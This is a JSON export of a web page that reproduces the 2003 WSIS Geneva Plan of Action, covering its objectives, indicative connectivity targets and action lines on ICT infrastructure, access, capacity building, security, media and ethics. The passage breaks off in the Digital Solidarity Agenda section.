{"id":214,"date":"2013-03-25T02:12:11","date_gmt":"2013-03-25T06:12:11","guid":{"rendered":"http:\/\/internetdistinction.com\/wsisimpacts\/?page_id=214"},"modified":"2013-03-25T23:16:29","modified_gmt":"2013-03-26T03:16:29","slug":"geneva-plan-of-action","status":"publish","type":"page","link":"https:\/\/internetdistinction.com\/wsisimpacts\/wsis\/geneva-plan-of-action\/","title":{"rendered":"Geneva Plan of Action"},"content":{"rendered":"<ul>\n<li><em>(<a href=\"http:\/\/www.itu.int\/wsis\/docs\/geneva\/official\/poa.html\" target=\"_blank\">Click here for original at WSIS<\/a>)<\/em><\/li>\n<\/ul>\n<p>Document WSIS-03\/GENEVA\/DOC\/5-E 12 December 2003 Original: English<\/p>\n<h2 style=\"text-align: center;\">Plan of Action<\/h2>\n<h3>A. Introduction<\/h3>\n<p>1. The common vision and  guiding principles of the Declaration are translated in this Plan of  Action into concrete action lines to advance the achievement of the  internationally-agreed development goals, including those in the  Millennium Declaration, the Monterrey Consensus and the Johannesburg  Declaration and Plan of Implementation, by promoting the use of  ICT-based products, networks, services and applications, and to help  countries overcome the digital divide. The Information Society envisaged  in the Declaration of Principles will be realized in cooperation and  solidarity by governments and all other stakeholders.  2. The Information Society  is an evolving concept that has reached different levels across the  world, reflecting the different stages of development. Technological and  other change is rapidly transforming the environment in which the  Information Society is developed. The Plan of Action is thus an evolving  platform to promote the Information Society at the national, regional  and international levels. The unique two-phase structure of the World  Summit on the Information Society (WSIS) provides an opportunity to take  this evolution into account.  3. All stakeholders have an important role to play in the Information Society, especially through partnerships:<\/p>\n<ol>\n<li>Governments have a leading role in  developing and implementing comprehensive, forward looking and  sustainable national e-strategies. The private sector and civil society,  in dialogue with governments, have an important consultative role to  play in devising national e-strategies.<\/li>\n<li>The commitment of the private  sector is important in developing and diffusing information and  communication technologies (ICTs), for infrastructure, content and  applications. The private sector is not only a market player but also  plays a role in a wider sustainable development context.<\/li>\n<li>The commitment and involvement of  civil society is equally important in creating an equitable Information  Society, and in implementing ICT-related initiatives for development.<\/li>\n<li>International and regional  institutions, including international financial institutions, have a key  role in integrating the use of ICTs in the development process and  making available necessary resources for building the Information  Society and for the evaluation of the progress made.<\/li>\n<\/ol>\n<h3>B. Objectives, goals and targets<\/h3>\n<p>4. The objectives of the  Plan of Action are to build an inclusive Information Society; to put the  potential of knowledge and ICTs at the service of development; to  promote the use of information and knowledge for the achievement of  internationally agreed development goals, including those contained in  the Millennium Declaration; and to address new challenges of the  Information Society, at the national, regional and international levels.  Opportunity shall be taken in phase two of the WSIS to evaluate and  assess progress made towards bridging the digital divide.  5. Specific targets for  the Information Society will be established as appropriate, at the  national level in the framework of national e-strategies and in  accordance with national development policies, taking into account the  different national circumstances. Such targets can serve as useful  benchmarks for actions and for the evaluation of the progress made  towards the attainment of the overall objectives of the Information  Society.  6. Based on  internationally agreed development goals, including those in the  Millennium Declaration, which are premised on international cooperation,  indicative targets may serve as global references for improving  connectivity and access in the use of ICTs in promoting the objectives  of the Plan of Action, to be achieved by 2015. These targets may be  taken into account in the establishment of the national targets,  considering the different national circumstances:<\/p>\n<ol>\n<li>to connect villages with ICTs and establish community access points;<\/li>\n<li>to connect universities, colleges, secondary schools and primary schools with ICTs;<\/li>\n<li>to connect scientific and research centres with ICTs;<\/li>\n<li>to connect public libraries, cultural centres, museums, post offices and archives with ICTs;<\/li>\n<li>to connect health centres and hospitals with ICTs;<\/li>\n<li>to connect all local and central government departments and establish websites and email addresses;<\/li>\n<li>to adapt all primary and secondary  school curricula to meet the challenges of the Information Society,  taking into account national circumstances;<\/li>\n<li>to ensure that all of the world&#8217;s population have access to television and radio services;<\/li>\n<li>to encourage the development of  content and to put in place technical conditions in order to facilitate  the presence and use of all world languages on the Internet;<\/li>\n<li>to ensure that more than half the world\u2019s inhabitants have access to ICTs within their reach.<\/li>\n<\/ol>\n<p>7. In giving effect to  these objectives, goals and targets, special attention will be paid to  the needs of developing countries, and in particular to countries,  peoples and groups cited in paragraphs 11-16 of the Declaration of  Principles.<\/p>\n<h3>C. Action Lines<\/h3>\n<h3><a name=\"c1\"><\/a>C1. The role of governments and all stakeholders in the promotion of ICTs for development<\/h3>\n<p><em>8. The effective  participation of governments and all stakeholders is vital in developing  the Information Society requiring cooperation and partnerships among  all of them. <\/em><\/p>\n<ol>\n<li>Development of national  e-strategies, including the necessary human capacity building, should be  encouraged by all countries by 2005, taking into account different  national circumstances.<\/li>\n<li>Initiate at the national level a  structured dialogue involving all relevant stakeholders, including  through public\/private partnerships, in devising e-strategies for the  Information Society and for the exchange of best practices.<\/li>\n<li>In developing and implementing  national e-strategies, stakeholders should take into consideration  local, regional and national needs and concerns. To maximize the  benefits of initiatives undertaken, these should include the concept of  sustainability. The private sector should be engaged in concrete  projects to develop the Information Society at local, regional and  national levels.<\/li>\n<li>Each country is encouraged to  establish at least one functioning Public\/Private Partnership (PPP) or  Multi-Sector Partnership (MSP), by 2005 as a showcase for future action.<\/li>\n<li>Identify mechanisms, at the  national, regional and international levels, for the initiation and  promotion of partnerships among stakeholders of the Information Society.<\/li>\n<li>Explore the viability of establishing multi-stakeholder portals for indigenous peoples at the national level.<\/li>\n<li>By 2005, relevant international  organizations and financial institutions should develop their own  strategies for the use of ICTs for sustainable development, including  sustainable production and consumption patterns and as an effective  instrument to help achieve the goals expressed in the United Nations  Millennium Declaration.<\/li>\n<li>International organizations should  publish, in their areas of competence, including on their website,  reliable information submitted by relevant stakeholders on successful  experiences of mainstreaming ICTs.<\/li>\n<li>Encourage a series of related  measures, including, among other things: incubator schemes, venture  capital investments (national and international), government investment  funds (including micro-finance for Small, Medium-sized and Micro  Enterprises (SMMEs), investment promotion strategies, software export  support activities (trade counseling), support of research and  development networks and software parks.<\/li>\n<\/ol>\n<h3><a name=\"c2\"><\/a>C2. Information and communication infrastructure: an essential foundation for the Information Society<\/h3>\n<p><em>9. Infrastructure is  central in achieving the goal of digital inclusion, enabling universal,  sustainable, ubiquitous and affordable access to ICTs by all, taking  into account relevant solutions already in place in developing countries  and countries with economies in transition, to provide sustainable  connectivity and access to remote and marginalized areas at national and  regional levels. <\/em><\/p>\n<ol>\n<li><a name=\"c29a\"><\/a>Governments  should take action, in the framework of national development policies,  in order to support an enabling and competitive environment for the  necessary investment in ICT infrastructure and for the development of  new services.<\/li>\n<li><a name=\"c29b\"><\/a>In the context  of national e-strategies, devise appropriate universal access policies  and strategies, and their means of implementation, in line with the  indicative targets, and develop ICT connectivity indicators.<\/li>\n<li><a name=\"c29c\"><\/a>In the context  of national e-strategies, provide and improve ICT connectivity for all  schools, universities, health institutions, libraries, post offices,  community centres, museums and other institutions accessible to the  public, in line with the indicative targets.<\/li>\n<li><a name=\"c29d\"><\/a>Develop and  strengthen national, regional and international broadband network  infrastructure, including delivery by satellite and other systems, to  help in providing the capacity to match the needs of countries and their  citizens and for the delivery of new ICT-based services. Support  technical, regulatory and operational studies by the International  Telecommunication Union (ITU) and, as appropriate, other relevant  international organizations in order to:\n<ol>\n<li>broaden access to orbital resources, global frequency harmonization and global systems standardization;<\/li>\n<li>encourage public\/private partnership;<\/li>\n<li>promote the provision of global high-speed satellite services for underserved areas such as remote and sparsely populated areas;<\/li>\n<li>explore other systems that can provide high-speed connectivity.<\/li>\n<\/ol>\n<\/li>\n<li><a name=\"c29e\"><\/a>In the context  of national e-strategies, address the special requirements of older  people, persons with disabilities, children, especially marginalized  children and other disadvantaged and vulnerable groups, including by  appropriate educational administrative and legislative measures to  ensure their full inclusion in the Information Society.<\/li>\n<li><a name=\"c29f\"><\/a>Encourage the  design and production of ICT equipment and services so that everyone,  has easy and affordable access to them including older people, persons  with disabilities, children, especially marginalized children, and other  disadvantaged and vulnerable groups, and promote the development of  technologies, applications, and content suited to their needs, guided by  the Universal Design Principle and further enhanced by the use of  assistive technologies.<\/li>\n<li><a name=\"c29g\"><\/a>In order to  alleviate the challenges of illiteracy, develop affordable technologies  and non-text based computer interfaces to facilitate people\u2019s access to  ICT,<\/li>\n<li><a name=\"c29h\"><\/a>Undertake  international research and development efforts aimed at making available  adequate and affordable ICT equipment for end users.<\/li>\n<li><a name=\"c29i\"><\/a>Encourage the  use of unused wireless capacity, including satellite, in developed  countries and in particular in developing countries, to provide access  in remote areas, especially in developing countries and countries with  economies in transition, and to improve low-cost connectivity in  developing countries. Special concern should be given to the Least  Developed Countries in their efforts in establishing telecommunication  infrastructure.<\/li>\n<li><a name=\"c29j\"><\/a>Optimize  connectivity among major information networks by encouraging the  creation and development of regional ICT backbones and Internet exchange  points, to reduce interconnection costs and broaden network access.<\/li>\n<li><a name=\"c29k\"><\/a>Develop  strategies for increasing affordable global connectivity, thereby  facilitating improved access. Commercially negotiated Internet transit  and interconnection costs should be oriented towards objective,  transparent and non-discriminatory parameters, taking into account  ongoing work on this subject.<\/li>\n<li><a name=\"c29l\"><\/a>Encourage and promote joint use of traditional media and new technologies.<\/li>\n<\/ol>\n<h3><a name=\"c3\"><\/a>C3. Access to information and knowledge<\/h3>\n<p><em>10. ICTs allow people,  anywhere in the world, to access information and knowledge almost  instantaneously. Individuals, organizations and communities should  benefit from access to knowledge and information. <\/em><\/p>\n<ol>\n<li>Develop policy guidelines for the  development and promotion of public domain information as an important  international instrument promoting public access to information.<\/li>\n<li>Governments are encouraged to  provide adequate access through various communication resources, notably  the Internet, to public official information. Establishing legislation  on access to information and the preservation of public data, notably in  the area of the new technologies, is encouraged.<\/li>\n<li>Promote research and development to  facilitate accessibility of ICTs for all, including disadvantaged,  marginalized and vulnerable groups.<\/li>\n<li>Governments, and other  stakeholders, should establish sustainable multi-purpose community  public access points, providing affordable or free-of-charge access for  their citizens to the various communication resources, notably the  Internet. These access points should, to the extent possible, have  sufficient capacity to provide assistance to users, in libraries,  educational institutions, public administrations, post offices or other  public places, with special emphasis on rural and underserved areas,  while respecting intellectual property rights (IPRs) and encouraging the  use of information and sharing of knowledge.<\/li>\n<li>Encourage research and promote  awareness among all stakeholders of the possibilities offered by  different software models, and the means of their creation, including  proprietary, open-source and free software, in order to increase  competition, freedom of choice and affordability, and to enable all  stakeholders to evaluate which solution best meets their requirements.<\/li>\n<li>Governments should actively promote  the use of ICTs as a fundamental working tool by their citizens and  local authorities. In this respect, the international community and  other stakeholders should support capacity building for local  authorities in the widespread use of ICTs as a means of improving local  governance.<\/li>\n<li>Encourage research on the  Information Society, including on innovative forms of networking,  adaptation of ICT infrastructure, tools and applications that facilitate  accessibility of ICTs for all, and disadvantaged groups in particular.<\/li>\n<li>Support the creation and  development of a digital public library and archive services, adapted to  the Information Society, including reviewing national library  strategies and legislation, developing a global understanding of the  need for &#8220;hybrid libraries&#8221;, and fostering worldwide cooperation between  libraries.<\/li>\n<li>Encourage initiatives to facilitate  access, including free and affordable access to open access journals  and books, and open archives for scientific information.<\/li>\n<li>Support research and development of  the design of useful instruments for all stakeholders to foster  increased awareness, assessment, and evaluation of different software  models and licences, so as to ensure an optimal choice of appropriate  software that will best contribute to achieving development goals within  local conditions.<\/li>\n<\/ol>\n<h3><a name=\"c4\"><\/a>C4. Capacity building<\/h3>\n<p><em>11. Everyone should have  the necessary skills to benefit fully from the Information Society.  Therefore capacity building and ICT literacy are essential. ICTs can  contribute to achieving universal education worldwide, through delivery  of education and training of teachers, and offering improved conditions  for lifelong learning, encompassing people that are outside the formal  education process, and improving professional skills. <\/em><\/p>\n<ol>\n<li>Develop domestic policies to ensure  that ICTs are fully integrated in education and training at all levels,  including in curriculum development, teacher training, institutional  administration and management, and in support of the concept of lifelong  learning.<\/li>\n<li>Develop and promote programmes to eradicate illiteracy using ICTs at national, regional and international levels.<\/li>\n<li>Promote e-literacy skills for all,  for example by designing and offering courses for public administration,  taking advantage of existing facilities such as libraries, multipurpose  community centres, public access points and by establishing local ICT  training centres with the cooperation of all stakeholders. Special  attention should be paid to disadvantaged and vulnerable groups.<\/li>\n<li>In the context of national  educational policies, and taking into account the need to eradicate  adult illiteracy, ensure that young people are equipped with knowledge  and skills to use ICTs, including the capacity to analyse and treat  information in creative and innovative ways, share their expertise and  participate fully in the Information Society.<\/li>\n<li>Governments, in cooperation with  other stakeholders, should create programmes for capacity building with  an emphasis on creating a critical mass of qualified and skilled ICT  professionals and experts.<\/li>\n<li>Develop pilot projects to  demonstrate the impact of ICT-based alternative educational delivery  systems, notably for achieving Education for All targets, including  basic literacy targets.<\/li>\n<li>Work on removing the gender  barriers to ICT education and training and promoting equal training  opportunities in ICT-related fields for women and girls. Early  intervention programmes in science and technology should target young  girls with the aim of increasing the number of women in ICT careers.  Promote the exchange of best practices on the integration of gender  perspectives in ICT education.<\/li>\n<li>Empower local communities,  especially those in rural and underserved areas, in ICT use and promote  the production of useful and socially meaningful content for the benefit  of all.<\/li>\n<li>Launch education and training  programmes, where possible using information networks of traditional  nomadic and indigenous peoples, which provide opportunities to fully  participate in the Information Society.<\/li>\n<li>Design and implement regional and  international cooperation activities to enhance the capacity, notably,  of leaders and operational staff in developing countries and LDCs, to  apply ICTs effectively in the whole range of educational activities.  This should include delivery of education outside the educational  structure, such as the workplace and at home.<\/li>\n<li>Design specific training programmes  in the use of ICTs in order to meet the educational needs of  information professionals, such as archivists, librarians, museum  professionals, scientists, teachers, journalists, postal workers and  other relevant professional groups. Training of information  professionals should focus not only on new methods and techniques for  the development and provision of information and communication services,  but also on relevant management skills to ensure the best use of  technologies. Training of teachers should focus on the technical aspects  of ICTs, on development of content, and on the potential possibilities  and challenges of ICTs.<\/li>\n<li>Develop distance learning, training  and other forms of education and training as part of capacity building  programmes. Give special attention to developing countries and  especially LDCs in different levels of human resources development.<\/li>\n<li>Promote international and regional  cooperation in the field of capacity building, including country  programmes developed by the United Nations and its Specialized Agencies.<\/li>\n<li>Launch pilot projects to design new  forms of ICT-based networking, linking education, training and research  institutions between and among developed and developing countries and  countries with economies in transition.<\/li>\n<li>Volunteering, if conducted in  harmony with national policies and local cultures, can be a valuable  asset for raising human capacity to make productive use of ICT tools and  build a more inclusive Information Society. Activate volunteer  programmes to provide capacity building on ICT for development,  particularly in developing countries.<\/li>\n<li>Design programmes to train users to develop self-learning and self-development capacities.<\/li>\n<\/ol>\n<h3><a name=\"c5\"><\/a>C5. Building confidence and security in the use of ICTs<\/h3>\n<p><em>12. Confidence and security are among the main pillars of the Information Society. <\/em><\/p>\n<ol>\n<li>Promote cooperation among the  governments at the United Nations and with all stakeholders at other  appropriate fora to enhance user confidence, build trust, and protect  both data and network integrity; consider existing and potential threats  to ICTs; and address other information security and network security  issues.<\/li>\n<li>Governments, in cooperation with  the private sector, should prevent, detect and respond to cyber-crime  and misuse of ICTs by: developing guidelines that take into account  ongoing efforts in these areas; considering legislation that allows for  effective investigation and prosecution of misuse; promoting effective  mutual assistance efforts; strengthening institutional support at the  international level for preventing, detecting and recovering from such  incidents; and encouraging education and raising awareness.<\/li>\n<li>Governments, and other  stakeholders, should actively promote user education and awareness about  online privacy and the means of protecting privacy.<\/li>\n<li>Take appropriate action on spam at national and international levels.<\/li>\n<li>Encourage the domestic assessment  of national law with a view to overcoming any obstacles to the effective  use of electronic documents and transactions including electronic means  of authentication.<\/li>\n<li>Further strengthen the trust and  security framework with complementary and mutually reinforcing  initiatives in the fields of security in the use of ICTs, with  initiatives or guidelines with respect to rights to privacy, data and  consumer protection.<\/li>\n<li>Share good practices in the field of information security and network security and encourage their use by all parties concerned.<\/li>\n<li>Invite interested countries to set  up focal points for real-time incident handling and response, and  develop a cooperative network between these focal points for sharing  information and technologies on incident response.<\/li>\n<li>Encourage further development of secure and reliable applications to facilitate online transactions.<\/li>\n<li>Encourage interested countries to  contribute actively to the ongoing United Nations activities to build  confidence and security in the use of ICTs.<\/li>\n<\/ol>\n<h3><a name=\"c6\"><\/a>C6. Enabling environment<\/h3>\n<p><em>13. Confidence and security are among the main pillars of the Information Society. <\/em><\/p>\n<ol>\n<li>Governments should foster a  supportive, transparent, pro-competitive and predictable policy, legal  and regulatory framework, which provides the appropriate incentives to  investment and community development in the Information Society.<\/li>\n<li>We ask the Secretary General of the  United Nations to set up a working group on Internet governance, in an  open and inclusive process that ensures a mechanism for the full and  active participation of governments, the private sector and civil  society from both developing and developed countries, involving relevant  intergovernmental and international organizations and forums, to  investigate and make proposals for action, as appropriate, on the  governance of Internet by 2005. The group should, inter alia:\n<ol>\n<li>develop a working definition of Internet governance;<\/li>\n<li>identify the public policy issues that are relevant to Internet governance;<\/li>\n<li>develop a common understanding of  the respective roles and responsibilities of governments, existing  intergovernmental and international organisations and other forums as  well as the private sector and civil society from both developing and  developed countries;<\/li>\n<li>prepare a report on the results of  this activity to be presented for consideration and appropriate action  for the second phase of WSIS in Tunis in 2005.<\/li>\n<\/ol>\n<\/li>\n<li>Governments are invited to:\n<ol>\n<li>facilitate the establishment of national and regional Internet Exchange Centres;<\/li>\n<li>manage or supervise, as appropriate, their respective country code top-level domain name (ccTLD);<\/li>\n<li>promote awareness of the Internet.<\/li>\n<\/ol>\n<\/li>\n<li>In cooperation with the relevant  stakeholders, promote regional root servers and the use of  internationalized domain names in order to overcome barriers to access.<\/li>\n<li>Governments should continue to  update their domestic consumer protection laws to respond to the new  requirements of the Information Society.<\/li>\n<li>Promote effective participation by  developing countries and countries with economies in transition in  international ICT forums and create opportunities for exchange of  experience.<\/li>\n<li>Governments need to formulate  national strategies, which include e-government strategies, to make  public administration more transparent, efficient and democratic.<\/li>\n<li>Develop a framework for the secure storage and archival of documents and other electronic records of information.<\/li>\n<li>Governments and stakeholders should  actively promote user education and awareness about online privacy and  the means of protecting privacy.<\/li>\n<li>Invite stakeholders to ensure that  practices designed to facilitate electronic commerce also permit  consumers to have a choice as to whether or not to use electronic  communication.<\/li>\n<li>Encourage the ongoing work in the  area of effective dispute settlement systems, notably alternative  dispute resolution (ADR), which can promote settlement of disputes.<\/li>\n<li>Governments, in collaboration with  stakeholders, are encouraged to formulate conducive ICT policies that  foster entrepreneurship, innovation and investment, and with particular  reference to the promotion of participation by women.<\/li>\n<li>Recognising the economic potential  of ICTs for Small and Medium-Sized Enterprises (SMEs), they should be  assisted in increasing their competitiveness by streamlining  administrative procedures, facilitating their access to capital and  enhancing their capacity to participate in ICT-related projects.<\/li>\n<li>Governments should act as model  users and early adopters of e-commerce in accordance with their level of  socio-economic development.<\/li>\n<li>Governments, in cooperation with  other stakeholders, should raise awareness of the importance of  international interoperability standards for global e-commerce.<\/li>\n<li>Governments, in cooperation with  other stakeholders, should promote the development and use of open,  interoperable, non-discriminatory and demand-driven standards.<\/li>\n<li>ITU, pursuant to its treaty  capacity, coordinates and allocates frequencies with the goal of  facilitating ubiquitous and affordable access.<\/li>\n<li>Additional steps should be taken in  ITU and other regional organisations to ensure rational, efficient and  economical use of, and equitable access to, the radio-frequency spectrum  by all countries, based on relevant international agreements.<\/li>\n<\/ol>\n<h3><a name=\"c7\"><\/a>C7. ICT applications: benefits in all aspects of life<\/h3>\n<p><em>14. ICT applications can  support sustainable development, in the fields of public administration,  business, education and training, health, employment, environment,  agriculture and science within the framework of national e-strategies.  This would include actions within the following sectors:<\/em><\/p>\n<p><em><a name=\"c7-15\"><\/a>15. <strong>E-government<\/strong><\/em><\/p>\n<ol>\n<li>Implement e-government strategies  focusing on applications aimed at innovating and promoting transparency  in public administrations and democratic processes, improving efficiency  and strengthening relations with citizens.<\/li>\n<li>Develop national e-government  initiatives and services, at all levels, adapted to the needs of  citizens and business, to achieve a more efficient allocation of  resources and public goods.<\/li>\n<li>Support international cooperation  initiatives in the field of e-government, in order to enhance  transparency, accountability and efficiency at all levels of government.<\/li>\n<\/ol>\n<p><em><a name=\"c7-16\"><\/a> 16. <strong>E-business<\/strong><\/em><\/p>\n<ol>\n<li>Governments, international  organizations and the private sector, are encouraged to promote the  benefits of international trade and the use of e-business, and promote  the use of e-business models in developing countries and countries with  economies in transition.<\/li>\n<li>Through the adoption of an enabling  environment, and based on widely available Internet access, governments  should seek to stimulate private sector investment, foster new  applications, content development and public\/private partnerships.<\/li>\n<li>Government policies should favour  assistance to, and growth of SMMEs, in the ICT industry, as well as  their entry into e-business, to stimulate economic growth and job  creation as an element of a strategy for poverty reduction through  wealth creation.<\/li>\n<\/ol>\n<p><a name=\"c7-17\"><\/a> <em>17. <strong>E-learning<\/strong> (see <a href=\"#c4\">section C4<\/a>)<\/em><\/p>\n<p><em><a name=\"c7-18\"><\/a>18. <strong>E-health<\/strong><\/em><\/p>\n<ol>\n<li>Promote collaborative efforts of  governments, planners, health professionals, and other agencies along  with the participation of international organizations for creating a  reliable, timely, high quality and affordable health care and health  information systems and for promoting continuous medical training,  education, and research through the use of ICTs, while respecting and  protecting citizens\u2019 right to privacy.<\/li>\n<li>Facilitate access to the world\u2019s  medical knowledge and locally-relevant content resources for  strengthening public health research and prevention programmes and  promoting women\u2019s and men\u2019s health, such as content on sexual and  reproductive health and sexually transmitted infections, and for  diseases that attract full attention of the world including HIV\/AIDS,  malaria and tuberculosis.<\/li>\n<li>Alert, monitor and control the spread of communicable diseases, through the improvement of common information systems.<\/li>\n<li>Promote the development of international standards for the exchange of health data, taking due account of privacy concerns.<\/li>\n<li>Encourage the adoption of ICTs to  improve and extend health care and health information systems to remote  and underserved areas and vulnerable populations, recognising women\u2019s  roles as health providers in their families and communities.<\/li>\n<li>Strengthen and expand ICT-based initiatives for providing medical and humanitarian assistance in disasters and emergencies.<\/li>\n<\/ol>\n<p><em><a name=\"c7-19\"><\/a> 19. <strong>E-employment<\/strong><\/em><\/p>\n<ol>\n<li>Encourage the development of best  practices for e-workers and e-employers built, at the national level, on  principles of fairness and gender equality, respecting all relevant  international norms.<\/li>\n<li>Promote new ways of organizing work  and business with the aim of raising productivity, growth and  well-being through investment in ICTs and human resources.<\/li>\n<li>Promote teleworking to allow  citizens, particularly in the developing countries, LDCs, and small  economies, to live in their societies and work anywhere, and to increase  employment opportunities for women, and for those with disabilities. In  promoting teleworking, special attention should be given to strategies  promoting job creation and the retention of the skilled working force.<\/li>\n<li>Promote early intervention  programmes in science and technology that should target young girls to  increase the number of women in ICT carriers.<\/li>\n<\/ol>\n<p><em><a name=\"c7-20\"><\/a> 20. <strong>E-environment<\/strong><\/em><\/p>\n<ol>\n<li>Governments, in cooperation with  other stakeholders are encouraged to use and promote ICTs as an  instrument for environmental protection and the sustainable use of  natural resources.<\/li>\n<li>Government, civil society and the  private sector are encouraged to initiate actions and implement projects  and programmes for sustainable production and consumption and the  environmentally safe disposal and recycling of discarded hardware and  components used in ICTs.<\/li>\n<li>Establish monitoring systems, using  ICTs, to forecast and monitor the impact of natural and man-made  disasters, particularly in developing countries, LDCs and small  economies.<\/li>\n<\/ol>\n<p><em><a name=\"c7-21\"><\/a> 21. <strong>E-agriculture<\/strong><\/em><\/p>\n<ol>\n<li>Ensure the systematic dissemination  of information using ICTs on agriculture, animal husbandry, fisheries,  forestry and food, in order to provide ready access to comprehensive,  up-to-date and detailed knowledge and information, particularly in rural  areas.<\/li>\n<li>Public-private partnerships should  seek to maximize the use of ICTs as an instrument to improve production  (quantity and quality).<\/li>\n<\/ol>\n<p><em><a name=\"c7-22\"><\/a> 22. <strong>E-science<\/strong><\/em><\/p>\n<ol>\n<li>Promote affordable and reliable  high-speed Internet connection for all universities and research  institutions to support their critical role in information and knowledge  production, education and training, and to support the establishment of  partnerships, cooperation and networking between these institutions.<\/li>\n<li>Promote electronic publishing,  differential pricing and open access initiatives to make scientific  information affordable and accessible in all countries on an equitable  basis.<\/li>\n<li>Promote the use of peer-to-peer  technology to share scientific knowledge and pre-prints and reprints  written by scientific authors who have waived their right to payment.<\/li>\n<li>Promote the long-term systematic  and efficient collection, dissemination and preservation of essential  scientific digital data, for example, population and meteorological data  in all countries.<\/li>\n<li>Promote principles and metadata  standards to facilitate cooperation and effective use of collected  scientific information and data as appropriate to conduct scientific  research.<\/li>\n<\/ol>\n<h3><a name=\"c8\"><\/a>C8. Cultural diversity and identity, linguistic diversity and local content<\/h3>\n<p><em>23. Cultural and linguistic diversity,  while stimulating respect for cultural identity, traditions and  religions, is essential to the development of an Information Society  based on the dialogue among cultures and regional and international  cooperation. It is an important factor for sustainable development. <\/em><\/p>\n<ol>\n<li>Create policies that support the  respect, preservation, promotion and enhancement of cultural and  linguistic diversity and cultural heritage within the Information  Society, as reflected in relevant agreed United Nations documents,  including UNESCO&#8217;s Universal Declaration on Cultural Diversity. This  includes encouraging governments to design cultural policies to promote  the production of cultural, educational and scientific content and the  development of local cultural industries suited to the linguistic and  cultural context of the users.<\/li>\n<li>Develop national policies and laws  to ensure that libraries, archives, museums and other cultural  institutions can play their full role of content &#8211; including traditional  knowledge &#8211; providers in the Information Society, more particularly by  providing continued access to recorded information.<\/li>\n<li>Support efforts to develop and use  ICTs for the preservation of natural and, cultural heritage, keeping it  accessible as a living part of today\u2019s culture. This includes developing  systems for ensuring continued access to archived digital information  and multimedia content in digital repositories, and support archives,  cultural collections and libraries as the memory of humankind.<\/li>\n<li>Develop and implement policies that  preserve, affirm, respect and promote diversity of cultural expression  and indigenous knowledge and traditions through the creation of varied  information content and the use of different methods, including the  digitization of the educational, scientific and cultural heritage.<\/li>\n<li>Support local content development,  translation and adaptation, digital archives, and diverse forms of  digital and traditional media by local authorities. These activities can  also strengthen local and indigenous communities.<\/li>\n<li>Provide content that is relevant to  the cultures and languages of individuals in the Information Society,  through access to traditional and digital media services.<\/li>\n<li>Through public\/private  partnerships, foster the creation of varied local and national content,  including that available in the language of users, and give recognition  and support to ICT-based work in all artistic fields.<\/li>\n<li>Strengthen programmes focused on  gender-sensitive curricula in formal and non-formal education for all  and enhancing communication and media literacy for women with a view to  building the capacity of girls and women to understand and to develop  ICT content.<\/li>\n<li>Nurture the local capacity for the  creation and distribution of software in local languages, as well as  content that is relevant to different segments of population, including  non-literate, persons with disabilities, disadvantaged and vulnerable  groups especially in developing countries and countries with economies  in transition.<\/li>\n<li>Give support to media based in  local communities and support projects combining the use of traditional  media and new technologies for their role in facilitating the use of  local languages, for documenting and preserving local heritage,  including landscape and biological diversity, and as a means to reach  rural and isolated and nomadic communities.<\/li>\n<li>Enhance the capacity of indigenous peoples to develop content in their own languages.<\/li>\n<li>Cooperate with indigenous peoples  and traditional communities to enable them to more effectively use and  benefit from the use of their traditional knowledge in the Information  Society.<\/li>\n<li>Exchange knowledge, experiences and  best practices on policies and tools designed to promote cultural and  linguistic diversity at regional and sub-regional levels. This can be  achieved by establishing regional, and sub-regional working groups on  specific issues of this Plan of Action to foster integration efforts.<\/li>\n<li>Assess at the regional level the  contribution of ICT to cultural exchange and interaction, and based on  the outcome of this assessment, design relevant programmes.<\/li>\n<li>Governments, through public\/private  partnerships, should promote technologies and R&amp;D programmes in  such areas as translation, iconographies, voice-assisted services and  the development of necessary hardware and a variety of software models,  including proprietary, open source software and free software, such as  standard character sets, language codes, electronic dictionaries,  terminology and thesauri, multilingual search engines, machine  translation tools, internationalized domain names, content referencing  as well as general and application software.<\/li>\n<\/ol>\n<h3><a name=\"c9\"><\/a>C9. Media<\/h3>\n<p><em>24. The media \u2014 in their various forms and with a  diversity of ownership\u2014as an actor, have an essential role in the development of  the Information Society and are recognized as an important contributor to  freedom of expression and plurality of information. <\/em><\/p>\n<ol>\n<li>Encourage the media &#8211; print and  broadcast as well as new media &#8211; to continue to play an important role  in the Information Society.<\/li>\n<li>Encourage the development of domestic legislation that guarantees the independence and plurality of the media.<\/li>\n<li>Take appropriate measures &#8211; consistent with freedom of expression &#8211; to combat illegal and harmful content in media content.<\/li>\n<li>Encourage media professionals in  developed countries to establish partnerships and networks with the  media in developing ones, especially in the field of training.<\/li>\n<li>Promote balanced and diverse portrayals of women and men by the media.<\/li>\n<li>Reduce international imbalances  affecting the media, particularly as regards infrastructure, technical  resources and the development of human skills, taking full advantage of  ICT tools in this regard.<\/li>\n<li>Encourage traditional media to  bridge the knowledge divide and to facilitate the flow of cultural  content, particularly in rural areas.<\/li>\n<\/ol>\n<h3><a name=\"c10\"><\/a>C10. Ethical dimensions of the Information Society<\/h3>\n<p><em>25. The Information Society should be  subject to universally held values and promote the common good and to  prevent abusive uses of ICTs. <\/em><\/p>\n<ol>\n<li>Take steps to promote respect for  peace and to uphold the fundamental values of freedom, equality,  solidarity, tolerance, shared responsibility, and respect for nature.<\/li>\n<li>All stakeholders should increase their awareness of the ethical dimension of their use of ICTs.<\/li>\n<li>All actors in the Information  Society should promote the common good, protect privacy and personal  data and take appropriate actions and preventive measures, as determined  by law, against abusive uses of ICTs such as illegal and other acts  motivated by racism, racial discrimination, xenophobia, and related  intolerance, hatred, violence, all forms of child abuse, including  paedophilia and child pornography, and trafficking in, and exploitation  of, human beings.<\/li>\n<li>Invite relevant stakeholders, especially the academia, to continue research on ethical dimensions of ICTs.<\/li>\n<\/ol>\n<h3><a name=\"c11\"><\/a>C11. International and regional cooperation<\/h3>\n<p><em>26. International cooperation among all  stakeholders is vital in implementation of this plan of action and needs  to be strengthened with a view to promoting universal access and  bridging the digital divide, inter alia, by provision of means of  implementation <\/em><\/p>\n<ol>\n<li>Governments of developing countries  should raise the relative priority of ICT projects in requests for  international cooperation and assistance on infrastructure development  projects from developed countries and international financial  organizations.<\/li>\n<li>Within the context of the UN\u2019s  Global Compact and building upon the United Nations Millennium  Declaration, build on and accelerate public-private partnerships,  focusing on the use of ICT in development.<\/li>\n<li>Invite international and regional  organizations to mainstream ICTs in their work programmes and to assist  all levels of developing countries, to be involved in the preparation  and implementation of national action plans to support the fulfilment of  the goals indicated in the declaration of principles and in this Plan  of Action, taking into account the importance of regional initiatives.<\/li>\n<\/ol>\n<h3>D. Digital Solidarity Agenda<\/h3>\n<p>27. The Digital Solidarity Agenda aims at  putting in place the conditions for mobilizing human, financial and  technological resources for inclusion of all men and women in the  